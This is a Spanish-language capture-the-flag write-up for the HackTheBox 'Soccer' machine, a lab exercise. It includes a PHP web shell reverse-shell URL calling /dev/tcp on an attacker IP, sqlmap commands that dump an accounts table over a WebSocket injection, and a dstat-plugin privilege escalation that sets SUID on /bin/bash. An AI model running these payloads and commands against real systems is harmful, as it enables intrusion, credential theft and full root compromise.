Soccer - HackTheBox

This CTF focuses on success through enumeration.

Summary

  • IP: 10.10.11.194
  • Ports: 22,80,9091
  • OS: Linux (Ubuntu Bionic)
  • Services & Applications:
    • 22 -> OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
    • 80 -> nginx 1.18.0
    • 9091 -> xmltec-xmlmail?

Recon

  • Reconocimiento básico de puertos:
$sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.10.116.216 -oG allPorts
  • Reconocimiento profundo de puertos encontrados:
$sudo nmap -p22,80,9091 -sCV 10.10.116.216 -oN targeted
  • Reconocimiento de directorios con gobuster:
$gobuster dir -u soccer.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
  • Encontramos el directorio “/tiny”, accedemos y nos encontramos con un login de “Tiny File Manager”, buscamos en google las credenciales por defecto de este recurso y probamos.

  • Accedemos como admin, analizamos la web, nos permite subida de archivos en el directorio “/uploads”, subimos un PHP con una reverse shell y accedemos:

http://soccer.htb/tiny/uploads/shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.85/443%200%3E%261%22
  • Como el usuario www-data buscamos recursos para escalar privilegios:
  • Recordamos que el puerto 9091 estaba aabierto, sospechamos de un websocket, lo comprobamos:
websocat ws://soccer.htb:9091 -v
  • Confirmado ya que se trata de un Web Socket, buscamos vulnerabilidades para la misma, encontramos este artículo [Automating Blind SQL injection over WebSocket Rayhan0x01’s Blog](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html)
  • Ejecutamos la script de python para redireccionar los datos de la ws y poder acceder a estos como localhost para realizar un ataque de SQL Injection:
  • Cambiamos los campos “ws-server” por el puerto 9091 y “data” por “id”
$python3 exploit.py
  • Ahora atacamos con sqlmap. primero en búsqueda de los nombres de las bases de datos:
sqlmap -u "http://127.0.0.1:8081/?id=1" --dbs
  • Ahora buscamos las tablas que hay en la BD “soccer_db”:
 sqlmap -u "http://127.0.0.1:8081/?id=1" -D soccer_db --tables
  • Enumeramos las columnas de esta tabla:
 sqlmap -u "http://127.0.0.1:8081/?id=1" -D soccer_db -T accounts --columns
  • Encontramos las columnas username y password, las dumpeamos:
sqlmap -u "http://127.0.0.1:8081/?id=1" -D soccer_db -T accounts -C username,password -dump
  • Obtenemos la contraseña del usuario “player” accedemos por SSH:
$ssh player@10.10.103.124
  • Obtenemos la primera flag.

Escalando privilegios:

  • Buscamos permisos SUID:
$ find / -perm -4000 2>/dev/null
  • Nos encontramos con “doas”, buscamos todos los archivos doas que hayan:
$ find -name doas 2>/dev/null l grep doas
  • Nos encontramos un “doas.conf”, lo leemos, nos dice que un binario dstat se puede ejecutar como root sin contraseña:
/usr/bin/dstat
$ doas -u root /usr/bin/dstat
  • Tenemos capacidad de escritura en la ruta share/dstat que es en donde se guardan los plugins:
    $ ls -la /usr/local/share/dstat
    
  • Nos creamos un plugin .py que otorgue permisos SUID a la bash y lo ejecutamos como root:
    player@soccer:/usr/local/share/dstat$ echo 'import os;os.system("chmod u+s /bin/bash")' > dstat_privesc.py
    player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --privesc &>/dev/null
    bash -P
    
  • Ya somos ROOT y obtenemos la flag.